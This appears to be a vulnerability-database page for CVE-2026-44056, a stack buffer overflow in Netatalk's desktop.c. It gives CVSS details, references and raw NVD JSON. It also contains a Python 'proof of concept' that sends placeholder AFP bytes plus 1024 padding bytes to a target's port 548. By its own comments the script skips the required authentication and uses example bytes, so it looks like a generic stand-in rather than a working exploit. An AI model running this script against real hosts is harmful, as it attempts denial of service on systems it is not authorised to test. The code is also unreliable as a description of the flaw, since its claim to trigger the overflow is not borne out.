CVE-2026-44056

Description

A stack-based buffer overflow in desktop.c in Netatalk 1.3 through 4.2.2 allows a remote authenticated attacker to cause a denial of service, obtain limited information, or modify limited data.

CVSS Details

CVSS Score

6.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

Configurations (Affected Products)

No configuration data available.

Netatalk 1.3

Netatalk 4.2.2

Netatalk 1.3 至 4.2.2 之间的所有版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# Proof of Concept for CVE-2026-44056
# This script simulates a malformed AFP request to trigger the stack overflow in desktop.c
# Disclaimer: For educational and testing purposes only.

import socket
import sys

def send_exploit(target_ip, target_port=548):
    try:
        # Establish connection to Netatalk AFP server
        print(f"[*] Connecting to {target_ip}:{target_port}...")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(10)
        s.connect((target_ip, target_port))
        
        # Simulate AFP Header (Simplified)
        # Real exploitation requires valid AFP session/authentication (PR:L)
        # This payload is designed to overflow the buffer in desktop.c
        payload = b"\x00\x04\x00\x02" # Example AFP command bytes
        padding = b"A" * 1024 # Excessive padding to trigger overflow
        
        print("[*] Sending malicious payload...")
        s.send(payload + padding)
        
        response = s.recv(1024)
        print(f"[+] Received response: {response}")
        
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        s.close()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 cve_2026_44056_poc.py <TARGET_IP>")
        sys.exit(1)
    send_exploit(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44056
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44056
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44056/
[4] VulDB https://vuldb.com/cve/CVE-2026-44056
[5] https://netatalk.io/security/CVE-2026-44056

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44056", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:21.247", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow in desktop.c in Netatalk 1.3 through 4.2.2 allows a remote authenticated attacker to cause a denial of service, obtain limited information, or modify limited data."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 4.7}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44056", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}